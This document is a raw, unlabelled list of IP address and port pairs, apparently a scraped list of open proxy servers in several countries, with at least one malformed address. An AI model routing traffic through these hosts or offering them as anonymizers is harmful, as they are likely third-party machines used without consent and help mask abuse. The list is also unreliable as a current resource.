202.169.252.13:8181 118.99.100.179:8080 118.97.180.131:30793 202.77.120.38:57731 203.189.88.252:8080 118.99.127.111:3128 125.163.70.107:8080 118.99.96.59:8080 203.189.89.153:8080 117.54.250.58:38508 125.167.87.150:8080 203.123.255.142:30373 203.190.115.18:8080 119.235.27.40:3128 203.128.74.122:8080 119.252.168.52:53281 119.235.27.40:443 203.201.172.90:3128 203.142.69.242:55502 203.176.181.129:3128 203.201.173.86:8080 118.137.175.68:8080 203.142.74.173:8888 202.137.25.8:8080 203.24.76.73:32064 203.153.107.166:53557 202.138.242.101:30487 203.99.117.26:39911 203.24.76.57:32064 203.166.200.90:8080 202.138.254.165:8080 36.37.114.34:41454 203.77.252.250:57343 203.176.181.249:3128 203.176.181.25:3128 202.148.20.218:80 36.65.63.26:8080 203.176.182.253:3128 202.150.151.85:3128 36.66.149.2:8080 202.154.186.106:8080 36.67.16.253:8080 202.159.7.115:80 36.67.226.17:37860 118.97.36.21:8080 203.190.117.232:8080 36.67.237.147:3128 118.99.98.197:8080 121.101.191.38:33735 36.67.251.241:41271 119.110.69.57:3128 36.67.93.220:80 203.30.254.107:53281 202.43.112.82:8080 36.73.30.114:8080 36.76.110.1:8080 122.49.225.74:8080 36.89.157.23:37728 202.72.196.131:8080 36.89.180.35:44255 36.89.182.9:33426 137.59.163.50:55419 36.89.194.113:56353 122.129.108.107:50030 36.66.191.194:44073 203.153.113.44:23500 36.66.215.119:8080 36.66.237.91:8080 139.0.6.36:63141 36.67.112.11:8080 203.29.27.4:8080 36.67.199.89:30625 36.67.239.23:8080 139.194.162.201:8080 36.67.32.87:8080 36.72.231.216:58912 139.228.33.20:8080 36.73.50.188:8080 139.255.123.90:8080 36.74.77.105:80 139.255.31.26:8080 122.144.4.60:8080 36.77.110.63:8080 124.158.175.27:8080 139.255.31.26:80 36.77.51.229:8080 139.255.43.6:43122 125.162.68.72:8080 137.59.162.74:8080 122.50.6.186:80 36.81.53.226:8080 124.81.67.226:57997 139.255.57.33:3128 36.89.151.27:59760 36.89.165.89:31647 36.89.180.29:30852 36.89.187.45:42473 36.89.189.137:53626 36.89.190.213:47897 27.111.44.202:80 36.90.123.45:8181 222.124.2.186:8080 222.165.194.68:58656 36.90.166.66:3128 222.165.195.75:55949 36.90.244.221:8080 36.91.129.164:8080 36.91.44.243:37927 137.59.161.162:32372 36.92.63.122:8080 125.161.25.108:8080 36.92.77.47:80 27.50.19.65:3128 139.194.12.48:8080 220.247.170.15:8080 27.50.18.42:23500 43.252.158.21:56595 36.37.113.4:36485 36.66.126.135:37580 36.66.114.249:8080 36.66.151.29:43870 36.66.124.157:8080 36.66.172.121:42413 36.66.126.71:48796 36.66.249.70:8080 36.67.206.187:8080 36.67.24.109:37641 36.67.233.63:42289 36.67.7.33:45619 36.68.37.22:8080 36.72.172.67:8080 36.68.68.68:8080 36.75.170.78:8080 36.80.207.175:8080 36.76.150.195:8080 36.82.9.207:8080 36.37.114.41:41454 36.78.221.127:8080 36.89.129.183:38992 36.81.149.239:8080 36.89.135.203:8080 36.82.104.38:8080 36.89.143.171:51276 36.66.19.10:8080 36.83.187.154:8080 36.89.149.107:8080 36.66.209.3:8080 36.89.151.26:59760 36.89.150.245:8080 36.67.116.165:8080 36.89.157.69:50915 36.90.96.222:8080 36.67.246.50:41026 36.89.76.133:57466 36.90.96.222:80 36.67.93.220:3128 36.90.185.32:80 36.92.68.141:8080 36.88.39.27:8080 36.90.43.124:8888 36.89.180.87:56015 36.91.133.63:8080 36.89.188.59:45651 36.91.144.123:8080 36.89.190.85:8080 36.91.183.249:8080 36.89.192.119:44185 36.92.101.253:8080 36.89.193.109:53349 36.89.250.221:8080 36.90.171.90:8080 36.90.239.190:8080 36.91.144.227:8080 36.91.63.58:8080 36.92.185.49:53281 36.92.197.117:3128 49.128.181.13:8081 43.252.105.198:80 43.252.145.50:8080 43.252.9.54:9090 43.245.184.238:8080 43.248.24.158:51166 45.116.158.37:32977 61.8.79.68:31859 124.158.179.13:8080 139.255.89.91:3128 139.255.25.106:80 202.169.42.74:3128 119.2.51.150:8080 139.255.31.150:80 222.124.193.113:8080 139.255.31.26:3128 139.194.69.108:8080 66.96.237.253:8080 124.81.99.30:3128 139.255.35.99:8080 223.25.99.163:8080 139.255.40.138:30616 139.255.16.163:58583 202.72.193.6:8080 139.255.69.148:80 139.255.96.131:53281 202.72.193.8:8080 139.255.94.122:58257 202.75.110.114:60910 202.93.229.98:8080 203.142.68.141:3128 43.225.185.146:8080 118.96.161.85:8080 203.142.72.114:808 43.225.67.39:53905 112.78.143.26:39981 118.97.235.234:8080 112.78.187.186:43065 118.97.36.18:8080 112.78.187.189:43065 118.99.103.163:8080 66.96.232.138:3128 45.116.157.29:41395 125.160.96.120:8080 45.121.216.227:3128 125.166.153.1:3128 150.107.143.233:9797 121.101.186.94:8089 146.196.98.210:80 121.52.71.23:80 124.158.168.22:8080 137.59.162.74:80 203.99.123.25:61502 122.50.6.186:8080 115.124.94.62:8080 150.107.143.73:9797 139.194.43.133:8080 158.140.167.226:8080 139.255.13.153:8080 139.255.31.149:80 137.59.162.74:3128 139.5.153.94:8080 124.158.167.170:8080 14.102.152.157:8080 116.254.103.51:8080 117.102.81.2:53281 117.102.81.4:53281 36.66.127.99:8080 117.102.85.218:80 36.66.170.19:8080 36.66.213.115:48068 36.66.235.147:57550 36.66.249.66:8080 139.255.115.138:8080 158.140.169.104:8181 36.66.253.181:51365 36.66.61.119:8080 36.67.20.71:8080 36.67.204.74:57463 36.67.212.187:3128 150.107.143.57:9797 36.67.27.189:39674 36.67.76.234:8080 36.70.9.62:3128 146.196.108.78:8080 36.79.142.235:8080 36.89.181.155:60165 36.89.181.183:31227 150.107.137.181:3128 36.89.182.225:45282 150.107.143.173:9797 36.89.189.239:53281 36.89.190.223:42684 36.89.28.250:3128 36.90.7.203:3128 36.90.70.87:8080 36.91.194.25:8080 137.59.163.190:8080 36.91.43.218:8080 36.92.1.221:8080 36.92.108.150:3128 36.92.14.37:8080 36.92.57.71:80 36.92.81.55:8080 139.255.122.117:8080 139.255.18.36:80 36.92.93.107:8080 139.255.160.201:8080 139.255.31.150:8080 139.255.25.84:3128 139.255.84.43:8081 36.37.73.245:8080 158.140.182.175:8080 14.102.152.158:8080 36.37.81.135:8080 36.66.173.51:80 36.66.98.6:53281 36.67.109.91:40787 36.67.158.49:65301 36.67.23.117:8888 36.67.57.165:8888 36.67.66.202:59814 36.68.11.221:8080 36.70.151.95:8080 59.153.80.166:53281 36.73.3.209:8080 36.77.166.112:8080 36.79.194.180:8080 36.89.106.247:31455 36.89.148.47:49240 202.150.132.98:63141 150.107.143.161:9797 36.89.155.66:47562 202.150.143.59:41092 36.89.184.117:37095 202.162.211.46:30161 36.89.189.77:61572 202.182.48.86:57942 36.89.191.73:23500 36.89.41.26:38718 66.96.232.138:8080 36.89.99.98:44030 66.96.237.111:80 36.90.104.195:3128 202.43.166.202:8080 36.90.122.103:8080 202.51.102.94:8080 36.91.160.172:8080 202.55.169.143:3128 36.91.183.253:8080 36.91.188.18:3128 175.106.17.98:443 36.92.68.145:8080 43.243.141.126:53281 36.92.77.23:8080 43.252.105.198:9090 175.106.17.98:8080 36.92.79.234:8080 175.184.232.74:8080 180.242.6.34:8080 180.250.172.14:3128 43.245.184.238:80 180.250.8.74:8080 180.254.158.117:3128 180.178.97.90:8080 180.241.101.113:8080 180.243.130.71:8080 180.246.205.208:57648 180.248.220.139:8080 180.250.247.124:23500 180.250.8.138:8080 180.253.159.66:8080 180.253.26.159:8080 27.111.38.129:39850 150.107.143.225:9797 118.97.184.205:8080 27.50.21.1:8080 118.97.191.162:80 27.50.27.161:3128 180.247.129.79:3128 118.99.103.241:8080 27.50.31.46:8080 180.247.249.110:8080 180.250.159.34:56979 119.18.154.202:3128 180.250.247.126:23500 119.18.159.198:47175 180.251.85.74:3128 180.254.90.87:8080 119.252.162.90:3128 120.29.155.60:59427 180.247.14.91:8080 180.250.197.91:8080 36.37.98.113:8080 36.67.11.41:8080 36.67.153.58:48133 36.67.168.117:8080 36.67.198.35:3128 36.67.47.187:35090 36.67.96.7:37554 36.72.229.151:58912 36.80.136.209:8080 36.81.252.104:8080 36.85.55.221:3128 36.89.182.193:50617 36.89.189.203:31245 122.144.4.58:8080 36.89.191.151:38604 36.90.122.134:8181 36.90.25.89:8080 36.91.10.241:8080 36.91.183.250:8080 36.91.45.10:53308 36.91.88.166:8080 175.106.17.62:58475 43.225.67.35:53905 43.252.75.84:8080 45.116.156.165:8080 49.50.8.20:3128 124.81.67.121:8080 180.247.132.170:8080 59.153.81.198:8080 180.250.182.50:8080 180.250.219.58:53281 180.250.247.123:23500 180.178.111.93:8080 180.241.144.103:8080 180.244.10.232:8080 180.250.204.162:8080 139.194.162.201:8090 139.194.3.217:8080 139.255.123.90:80 139.255.89.242:8080 150.107.143.25:9797 175.176.167.109:8080 180.178.111.90:8080 180.178.111.92:8080 180.248.1.188:8080 180.250.8.42:8080 180.251.181.105:8081 180.251.209.25:8080 103.105.67.244:8080 103.119.144.206:8080 103.217.217.34:8080 103.25.195.2:80 112.78.177.5:8080 114.129.17.52:9191 115.124.75.6:8080 118.99.88.198:3128 118.99.108.251:3128 118.99.103.191:8080 202.138.236.35:61772 202.138.254.244:8080 202.138.254.106:41915 202.51.110.158:32247 202.158.77.122:51671 203.24.50.141:80 36.68.69.236:80 36.89.188.11:58158 36.82.19.152:8080 36.89.190.163:30298 36.91.110.20:8080 36.90.245.187:8080 36.89.88.137:3128 36.90.69.58:8080 36.91.128.62:80 45.112.125.149:8080 43.245.187.34:44391 61.94.131.129:8080 66.96.253.234:8080 114.5.24.14:8080 36.89.226.254:8081 103.78.97.69:8080 202.153.233.228:8080 36.89.148.117:48747 110.232.81.69:54022 203.99.118.178:36320 110.137.237.198:3128 103.107.68.210:8080 114.5.64.49:8080 36.89.193.29:44939 36.92.32.237:8080 36.67.29.209:8080 101.255.125.10:8080 118.99.100.239:8080 27.50.21.10:8080 1.197.203.45:9999 1.197.203.42:9999 1.198.73.215:9999 1.197.203.49:9999 1.198.72.179:9999 1.197.204.49:9999 1.197.16.116:9999 1.198.73.220:9999 1.199.31.158:9999 1.198.72.182:9999 1.197.204.51:9999 1.199.31.160:9999 1.197.16.105:9999 1.198.72.180:9999 1.199.31.163:9999 1.197.204.48:9999 1.198.73.216:9999 1.197.16.115:9999 101.4.136.34:80 1.197.203.48:9999 1.198.110.46:9999 101.254.136.130:8080 1.198.72.178:9999 1.198.73.219:9999 101.37.118.54:8888 101.4.136.34:8080 101.4.136.34:81 182.35.80.13:9999 182.35.87.207:9999 101.231.104.82:80 182.35.80.233:9999 182.35.81.155:9999 182.35.81.161:9999 182.35.80.47:9999 182.35.84.123:9999 182.35.81.220:9999 182.254.196.225:808 182.35.81.28:9999 182.35.87.169:9999 182.35.82.87:9999 182.35.80.55:9999 182.35.82.218:9999 182.35.81.135:9999 183.164.238.16:9999 182.35.84.102:9999 182.35.81.91:9999 182.35.83.8:9999 182.35.81.39:9999 182.92.233.137:8118 183.166.70.68:9999 182.35.85.240:9999 182.35.83.155:9999 182.35.84.192:9999 182.35.82.160:9999 182.35.87.227:9999 182.35.86.6:9999 182.35.87.144:9999 182.35.83.163:9999 183.196.168.194:9000 182.35.87.77:9999 182.35.84.116:9999 182.35.85.63:9999 183.164.238.35:9999 182.34.222.208:9999 183.166.102.249:9999 103.126.208.95:3128 183.164.239.95:9999 183.166.124.250:9999 182.61.179.157:8888 183.166.163.104:9999 183.166.96.63:9999 183.196.210.148:8060 183.166.136.62:61234 183.164.238.44:9999 183.166.20.178:9999 183.166.110.203:9999 183.166.86.131:9999 183.166.71.143:9999 183.23.73.173:3128 182.61.163.38:3128 183.230.145.112:8888 183.166.6.102:9999 106.12.24.167:3128 182.35.81.128:9999 182.35.82.242:9999 182.35.84.60:9999 182.35.86.226:9999 182.35.87.44:9999 183.164.238.245:9999 183.164.238.8:9999 183.166.6.163:9999 183.166.6.95:9999 111.29.3.184:80 193.112.108.168:8080 111.29.3.186:80 111.29.3.188:8080 111.29.3.191:8080 111.29.3.193:8080 111.29.3.220:8080 111.29.3.220:80 111.29.3.223:8080 111.29.3.225:80 111.29.3.226:80 112.247.178.92:8060 111.29.3.187:8080 113.12.202.50:50327 111.29.3.192:80 113.121.21.57:9999 106.14.184.255:80 113.121.23.111:9999 106.52.106.14:80 113.121.23.86:9999 113.195.168.85:9999 114.106.134.154:61234 114.239.252.17:9999 114.220.211.9:61234 114.228.170.226:8060 115.159.31.195:8080 110.243.14.157:9999 115.218.6.160:9000 110.16.80.106:8080 110.167.30.50:8060 106.75.211.89:8080 111.231.193.185:8088 115.218.2.154:9000 111.29.3.192:8080 110.243.25.199:9999 115.218.215.31:9000 111.29.3.195:80 111.29.3.222:8080 111.29.3.224:80 111.29.3.185:80 116.62.243.234:3128 116.196.81.58:3128 111.29.3.186:8080 116.196.90.176:3128 111.29.3.188:80 111.29.3.195:8080 112.111.217.194:9999 111.29.3.223:80 111.75.223.9:30646 111.29.3.187:80 111.9.92.192:1080 112.74.164.114:80 117.191.11.107:8080 110.243.12.76:9999 113.121.22.194:9999 113.117.34.66:61234 110.249.176.26:8060 106.14.144.179:80 113.120.60.241:9999 117.28.96.105:9999 112.111.217.192:9999 106.14.206.26:8118 113.195.171.13:9999 113.121.20.92:9999 117.69.200.118:9999 106.52.181.184:80 113.121.22.230:9999 113.103.123.242:61234 117.90.137.251:9000 113.105.248.35:80 202.112.51.45:3128 117.90.252.214:9000 113.121.23.224:9999 114.239.253.168:9999 117.95.162.185:9999 113.128.8.173:9999 111.29.3.184:8080 117.28.96.131:9999 111.29.3.189:80 117.30.112.185:9999 111.29.3.194:80 115.153.173.51:9000 114.112.70.150:43887 113.195.171.64:9999 117.57.90.134:9999 111.29.3.221:8080 114.239.255.87:9999 117.57.90.194:9999 111.29.3.224:8080 211.101.154.105:43598 114.239.42.120:9999 117.82.49.223:61234 111.29.3.225:8080 114.249.118.80:9000 114.235.22.231:9000 117.90.137.4:9000 114.67.229.212:8080 114.235.23.37:9000 117.90.252.192:9000 110.43.41.117:55419 114.239.146.221:9999 118.122.114.236:9000 112.109.198.106:3128 114.251.162.33:3128 118.250.0.174:8060 113.121.20.22:9999 116.114.19.211:443 113.121.21.209:9999 111.0.75.143:3128 118.31.71.139:3128 115.218.214.30:9000 113.140.1.82:53281 116.21.122.94:808 115.223.3.42:80 111.225.207.107:8060 114.239.253.65:9999 111.29.3.189:8080 116.62.230.217:3128 116.114.19.204:443 114.249.112.230:9000 111.29.3.226:8080 116.62.234.0:3128 112.111.217.69:9999 112.12.37.196:53281 118.25.35.202:9999 113.195.155.226:9999 119.57.156.90:53281 113.195.171.141:9999 117.28.97.75:9999 117.191.11.107:80 113.195.224.26:9999 117.30.112.236:9999 117.57.91.172:9999 120.77.206.107:3128 116.113.27.170:32648 117.41.38.18:9000 117.57.91.235:9999 120.78.225.5:3128 116.196.90.181:3128 117.69.201.238:9999 120.79.69.229:3128 114.103.138.105:61234 120.83.108.234:9999 117.28.97.124:9999 117.65.47.109:61234 117.90.3.107:9000 117.30.113.180:9999 218.23.29.41:8060 114.252.208.248:8060 117.78.33.45:80 117.90.7.106:9000 117.30.113.229:9999 219.131.241.182:9797 114.55.236.62:3128 117.85.11.154:8118 117.95.195.13:9999 121.233.206.37:9999 117.87.177.151:9000 121.57.207.137:8080 117.90.137.126:9000 220.173.106.168:63000 118.122.114.238:9000 117.57.91.87:9999 117.69.201.61:9999 115.218.209.248:9000 123.163.122.9:9999 117.95.174.37:9999 121.232.199.212:9000 222.139.7.174:8060 115.218.210.206:9000 123.163.97.180:9999 117.90.5.48:9000 123.56.159.90:8888 117.91.232.122:9999 222.186.175.104:8080 222.85.28.130:52590 222.90.110.194:8080 116.62.205.9:3128 202.107.231.173:8080 222.94.47.90:61234 123.163.96.232:9999 118.25.191.84:8080 125.108.115.73:9000 118.31.59.251:3128 118.25.126.213:80 125.108.119.88:9000 123.59.1.83:1080 118.31.60.101:3128 125.108.124.253:9000 117.141.155.243:53281 118.31.63.106:3128 118.31.61.199:3128 125.110.113.217:9000 118.31.64.170:3128 125.110.113.84:9000 118.181.226.216:58654 125.110.66.117:9000 118.24.246.249:80 27.152.91.12:9999 125.110.70.163:9000 27.203.164.138:8060 117.30.112.169:9999 125.110.72.176:9000 118.31.59.164:3128 124.237.83.14:53281 117.30.112.66:9999 125.110.85.148:9000 125.107.186.130:9000 218.60.8.99:3129 119.23.21.39:3128 125.108.104.123:9000 117.67.215.199:61234 125.108.110.101:9000 117.69.200.84:9999 125.108.123.57:9000 117.87.176.103:9000 221.178.232.130:8080 119.41.236.180:8010 125.108.64.239:9000 221.6.201.18:9999 119.29.97.145:808 125.108.70.60:9000 36.104.132.177:3128 222.175.171.6:8080 119.41.205.44:8060 125.108.83.88:9000 36.25.42.220:9999 119.57.108.73:53281 125.110.127.50:9000 125.110.85.62:9000 27.152.90.126:9999 120.132.54.10:8080 27.152.90.156:9999 27.203.141.134:8060 120.132.12.70:8888 27.203.222.10:8060 121.226.188.19:9999 27.208.68.67:8060 121.232.148.199:9000 125.46.0.62:53281 120.77.45.130:80 119.188.171.32:8081 121.232.199.160:9000 121.233.251.33:9999 119.23.246.94:80 121.40.66.129:808 123.163.96.179:9999 119.23.79.199:3128 121.40.90.189:8001 123.163.97.224:9999 123.169.121.206:9999 129.204.248.87:8888 36.249.53.45:9999 120.79.193.230:8000 123.139.56.238:9999 139.129.216.210:8080 121.205.14.191:9999 123.163.122.226:9999 125.108.105.206:9000 121.226.188.65:9999 123.163.122.249:9999 125.108.111.246:9000 121.232.194.188:9000 123.163.97.199:9999 139.196.78.83:80 125.108.69.27:9000 218.14.109.42:54179 121.232.199.64:9000 123.169.124.107:9999 125.108.84.236:9000 218.2.226.42:80 121.232.199.76:9000 123.169.35.136:9999 125.108.91.216:9000 218.240.53.53:8090 125.110.111.135:9000 218.63.76.41:47868 125.123.125.85:9000 134.175.81.16:1080 218.91.112.113:9999 210.26.49.88:3128 219.159.38.200:56210 218.104.61.242:9000 211.143.71.61:8060 218.104.61.244:9000 123.163.96.152:9999 125.108.113.93:9000 123.163.96.221:9999 125.108.118.51:9000 218.240.53.53:8080 218.14.108.53:8060 221.6.138.154:41880 123.169.34.116:9999 125.108.124.202:9000 218.7.171.91:3128 218.75.109.86:3128 222.179.229.142:8060 125.108.125.241:9000 125.108.125.63:9000 221.230.160.50:9999 221.204.118.108:9797 125.108.65.19:9000 221.6.139.158:9000 125.108.69.77:9000 125.108.70.95:9000 222.197.182.108:3128 125.108.91.179:9000 222.66.202.6:8080 222.189.144.241:9999 125.110.109.123:9000 222.66.94.130:80 222.242.171.5:63000 27.152.90.191:9999 125.110.79.149:9000 222.84.20.175:53281 222.249.238.138:8080 27.152.90.212:9999 222.74.65.83:56210 27.152.90.244:9999 27.152.91.238:9999 27.191.234.69:9999 223.244.88.169:8060 27.152.90.124:9999 27.152.90.238:9999 27.152.91.184:9999 218.204.153.156:8080 39.106.223.134:80 218.64.69.79:8080 39.137.69.7:80 218.86.87.171:31661 27.152.90.143:9999 39.96.63.240:80 219.159.38.201:56210 27.152.90.3:9999 27.152.91.131:9999 27.152.91.181:9999 27.203.213.245:8060 36.104.132.176:3128 47.107.175.190:8000 47.96.180.209:3128 47.96.188.41:3128 36.104.132.31:3128 49.85.179.112:9999 39.108.123.4:3128 39.98.218.101:80 39.108.86.7:8000 47.106.197.184:8000 47.107.133.109:8000 59.57.148.100:9999 60.162.87.29:9000 39.100.66.200:8080 60.217.137.182:8060 59.108.125.241:8080 59.57.148.36:9999 59.57.148.44:9999 59.57.149.230:9999 59.57.38.27:9999 60.205.159.195:3128 61.130.181.114:9999 47.102.101.218:8118 47.102.144.196:1080 47.102.216.176:3128 47.96.169.186:3128 47.100.114.124:80 47.244.120.56:3128 47.244.5.203:8080 47.98.116.210:8000 58.240.232.122:808 58.243.186.179:59680 111.29.3.185:8080 58.253.154.71:9999 221.6.139.154:9000 124.172.232.49:8010 111.29.3.190:8080 111.29.3.190:80 59.57.148.136:9999 223.215.107.182:61234 59.38.62.233:9797 111.29.3.191:80 139.196.22.147:80 60.168.71.212:8118 59.44.247.194:9797 125.108.104.131:9000 111.29.3.193:80 60.2.44.182:32826 59.57.148.42:9999 125.108.105.220:9000 120.203.18.54:3128 111.29.3.194:8080 60.220.200.152:8060 223.85.196.75:9999 60.13.42.55:9999 125.108.105.252:9000 120.234.63.196:3128 111.29.3.221:80 61.234.123.16:82 60.162.82.247:9000 125.108.110.218:9000 120.237.14.198:53281 111.29.3.222:80 42.159.206.135:8888 125.108.126.99:9000 120.78.145.111:80 111.74.143.113:8060 118.31.61.70:3128 42.228.3.158:8080 61.142.72.150:33270 125.108.80.164:9000 121.15.254.156:888 125.108.87.240:9000 121.232.148.164:9000 14.115.107.50:808 112.247.207.148:8060 125.108.95.73:9000 121.232.194.190:9000 125.108.96.184:9000 121.232.199.240:9000 125.110.72.173:9000 125.110.89.14:9000 123.132.227.30:8060 112.84.178.21:8888 119.122.213.201:9000 125.123.20.171:9000 123.163.122.240:9999 112.84.72.150:9999 119.48.47.174:8080 123.163.122.241:9999 120.79.218.202:3128 123.163.96.220:9999 113.195.171.117:9999 120.79.61.246:8000 27.152.91.164:9999 123.163.97.182:9999 27.152.91.62:9999 123.169.117.196:9999 113.65.5.201:8118 121.226.215.104:9999 27.152.91.79:9999 132.232.23.243:8888 114.116.243.213:3128 121.232.148.46:9000 27.50.142.132:3128 121.40.162.239:808 114.239.42.168:9999 122.96.51.9:8080 115.218.213.226:9000 124.95.82.73:8118 115.29.65.152:8080 125.108.103.243:9000 123.163.122.164:9999 134.175.135.224:80 125.108.104.175:9000 123.163.122.228:9999 125.108.68.171:9000 123.163.96.229:9999 125.108.71.17:9000 139.219.8.96:8080 125.108.75.162:9000 125.108.81.118:9000 210.22.5.117:3128 125.108.85.114:9000 210.26.64.44:3128 125.108.89.43:9000 124.205.155.158:9090 125.108.94.223:9000 124.47.7.38:80 125.110.103.119:9000 116.62.227.179:3128 124.93.201.59:42672 36.249.48.18:9999 125.110.107.70:9000 125.108.124.83:9000 36.25.43.88:9999 125.110.117.68:9000 125.108.85.149:9000 125.110.69.170:9000 125.108.94.77:9000 117.131.119.116:80 125.110.104.219:9000 125.110.122.140:9000 139.219.8.96:8081 125.110.126.43:9000 125.110.127.182:9000 163.204.240.147:9999 163.204.247.2:9999 163.204.247.54:9999 219.239.142.253:3128 125.94.44.129:1080 221.226.20.158:8080 47.107.61.8:8000 221.229.252.98:9797 125.72.70.46:8060 221.6.32.214:41816 47.94.104.204:8118 153.35.165.3:3128 163.204.244.130:9999 222.89.32.136:9999 47.99.65.77:8118 163.204.245.37:9999 163.204.246.17:9999 163.204.247.73:9999 27.152.90.174:9999 27.152.91.110:9999 27.152.91.4:9999 27.152.91.56:9999 27.188.65.244:8060 27.208.28.10:8060 171.11.179.59:9999 171.12.113.83:9999 163.204.241.161:9999 39.108.59.34:8118 39.137.69.10:8080 39.137.69.6:8080 39.137.69.7:8080 175.42.122.228:9999 171.11.179.62:9999 163.125.157.194:8888 175.43.34.19:9999 171.13.102.138:9999 202.109.157.62:9000 175.44.108.210:9999 171.35.161.55:9999 171.11.179.57:9999 59.52.185.191:3128 175.44.154.148:9000 171.35.162.200:9999 171.11.32.64:9999 59.57.149.251:9999 171.35.160.60:9999 60.13.42.183:9999 163.204.240.127:9999 171.35.161.121:9999 149.129.98.81:80 61.240.222.27:3128 163.204.244.123:9999 171.37.79.169:9797 163.204.245.84:9999 163.204.247.131:9999 175.43.56.42:9999 171.11.28.76:9999 175.43.57.36:9999 171.35.166.35:9999 175.153.21.23:61234 175.42.128.229:9999 175.42.129.81:9999 43.255.228.150:3128 163.204.242.176:9999 203.195.168.154:3128 39.137.107.98:8080 39.137.107.98:80 39.137.69.6:80 171.12.113.73:9999 39.96.210.247:80 175.153.20.196:61234 175.43.32.22:9999 210.51.167.206:3128 180.118.128.62:9000 212.129.143.89:80 47.101.133.33:80 47.96.180.247:3128 42.159.91.248:8081 218.249.45.162:52316 221.182.89.234:63000 221.218.102.146:35110 221.6.32.206:41816 222.190.229.5:61234 180.118.128.118:9000 222.89.32.142:9999 222.89.32.162:9999 45.125.32.180:3128 47.244.254.148:1080 47.99.65.77:3128 49.85.179.232:9999 117.90.252.71:9000 118.122.114.237:9000 180.101.99.110:80 58.253.158.1:9999 27.152.90.158:9999 148.70.158.7:8080 27.152.90.211:9999 27.152.91.74:9999 118.31.67.240:3128 59.57.149.195:9999 27.188.62.55:8060 59.57.38.68:9999 27.208.92.157:8060 60.13.42.2:9999 61.145.33.51:9999 59.37.18.243:3128 119.179.142.60:8060 59.57.149.185:9999 60.13.42.79:9999 60.211.218.78:53281 119.180.183.134:8060 60.216.101.46:32868 119.23.110.100:8000 119.23.21.39:80 180.118.128.227:9000 119.23.238.202:3128 171.11.179.60:9999 171.11.32.75:9999 120.78.68.241:3128 120.79.212.174:8000 120.83.104.127:9999 120.83.107.3:9999 120.83.108.126:9999 121.232.148.114:9000 121.232.194.85:9000 121.232.199.173:9000 121.233.226.222:9999 121.40.108.76:80 122.5.108.172:9999 123.139.56.171:9999 123.163.97.198:9999 171.11.179.61:9999 171.35.167.237:9999 124.205.155.152:9090 39.108.191.243:8080 39.108.71.144:8000 175.150.102.162:1133 39.135.35.16:80 39.137.69.10:80 47.103.10.118:8080 47.106.124.179:80 47.106.192.167:8000 47.106.59.75:3128 47.94.89.87:3128 49.70.33.236:9999 175.42.128.94:9999 125.108.100.21:9000 125.108.102.5:9000 125.108.84.111:9000 125.108.85.20:9000 125.108.92.91:9000 125.108.93.209:9000 125.108.97.203:9000 125.110.102.181:9000 125.110.66.229:9000 125.110.81.131:9000 129.204.145.205:808 52.80.58.248:3128 58.211.16.164:8888 180.118.128.61:9000 59.32.21.243:808 61.130.181.114:9797 180.175.168.154:8060 152.136.96.214:80 171.12.113.74:9999 171.35.161.51:9999 175.150.75.144:1133 175.153.23.55:61234 175.23.42.1:8080 180.118.128.75:9000 05.167.51.235:8080 185.143.172.50:8888 185.17.18.133:53281 185.173.39.19:3128 185.189.102.153:56497 185.189.253.21:56630 185.34.22.225:44050 185.173.38.13:3128 185.190.105.179:80 185.19.176.237:53281 185.173.38.220:3128 185.61.94.65:61616 185.205.238.6:8080 185.59.244.38:8081 185.94.215.235:53281 188.17.148.31:48098 188.133.137.9:8081 188.187.0.158:8080 188.133.172.220:8080 188.187.188.237:63141 188.17.152.172:46935 188.235.138.182:34467 188.235.8.5:34177 188.43.225.109:8080 188.94.164.178:8080 185.86.134.35:8080 193.106.94.106:8080 185.144.28.96:8888 185.17.134.149:57457 185.173.38.227:3128 194.143.151.96:37269 188.133.172.203:8080 194.226.34.132:5555 109.237.147.213:37581 185.36.157.30:8080 188.35.167.7:45619 185.61.92.207:52548 188.94.225.89:8080 185.91.252.17:52654 109.172.57.250:23500 188.187.62.173:80 188.128.83.211:3128 188.128.84.36:38182 193.150.117.74:8000 188.235.107.7:60205 188.18.54.242:60894 188.19.215.172:8080 109.232.106.236:44420 188.94.230.1:8080 194.135.220.162:51490 188.94.231.181:8080 188.233.30.71:80 109.60.154.31:57978 188.94.231.69:8080 109.74.143.45:36529 185.46.199.190:8080 188.94.228.153:8080 109.170.97.146:8085 109.195.23.223:47414 109.69.75.5:46347 109.248.62.207:43311 109.236.211.186:36853 193.164.201.12:42959 188.170.62.89:8080 109.75.140.158:59916 193.150.117.99:8000 193.242.177.105:53281 188.254.11.109:8080 188.43.117.38:59302 194.135.15.6:56218 188.68.186.115:8080 194.58.182.73:41258 188.92.242.180:52048 195.144.219.155:54857 195.208.36.45:33522 195.209.131.19:51354 195.208.43.250:45482 192.166.116.168:8080 195.46.167.2:3128 192.162.193.243:36910 109.202.17.4:41101 195.9.114.222:63141 195.9.61.22:47320 195.9.162.186:8080 193.169.118.6:53281 195.91.166.149:3128 193.41.79.210:8080 194.114.128.149:61213 194.190.30.253:8080 194.226.63.164:59691 195.191.131.150:42911 109.167.226.107:45999 195.206.42.41:48655 109.170.96.18:8080 195.209.176.101:50497 109.172.57.64:8081 195.218.173.242:59964 195.189.218.56:40015 109.188.95.148:3128 109.194.2.126:61822 109.229.139.148:8080 195.9.188.78:53281 109.62.179.137:8080 109.73.42.170:3128 212.24.60.180:8080 193.142.57.16:8080 212.77.138.161:41258 213.142.206.146:53281 194.226.61.18:51310 109.198.110.234:8080 213.171.45.178:36697 109.71.181.170:53983 109.72.227.56:53281 195.62.70.254:8080 109.74.130.129:8080 212.109.195.91:3128 195.88.16.155:59555 212.120.186.39:37370 195.9.105.174:8080 195.9.209.10:35242 212.33.239.50:41207 213.109.1.15:50408 213.222.244.150:8080 213.33.157.204:44139 217.23.69.146:8080 217.72.1.254:41239 217.79.3.94:8080 212.220.212.28:47003 31.131.67.14:8080 213.142.218.226:40816 213.184.136.234:3128 212.33.28.50:8080 37.230.163.64:37836 213.80.235.59:38558 213.178.38.246:38992 37.235.65.76:8080 217.149.191.182:8080 217.150.77.31:53281 213.33.248.60:8080 213.59.251.247:8080 213.80.225.40:50096 217.13.219.47:8888 213.109.6.85:45985 217.21.208.200:8080 212.192.202.207:4550 212.33.28.54:8080 213.147.192.23:3128 37.192.128.177:8080 37.230.147.206:8080 31.131.213.236:8080 31.173.94.93:59117 31.47.189.14:38473 46.181.151.79:39386 46.231.214.22:8080 31.173.138.204:46243 46.231.214.22:80 46.254.247.60:3130 31.204.180.44:53281 31.28.0.204:8080 31.40.37.77:8080 5.141.244.97:54348 37.21.91.58:8081 46.16.228.6:8080 37.29.121.83:8080 46.254.246.111:3129 46.254.246.112:3130 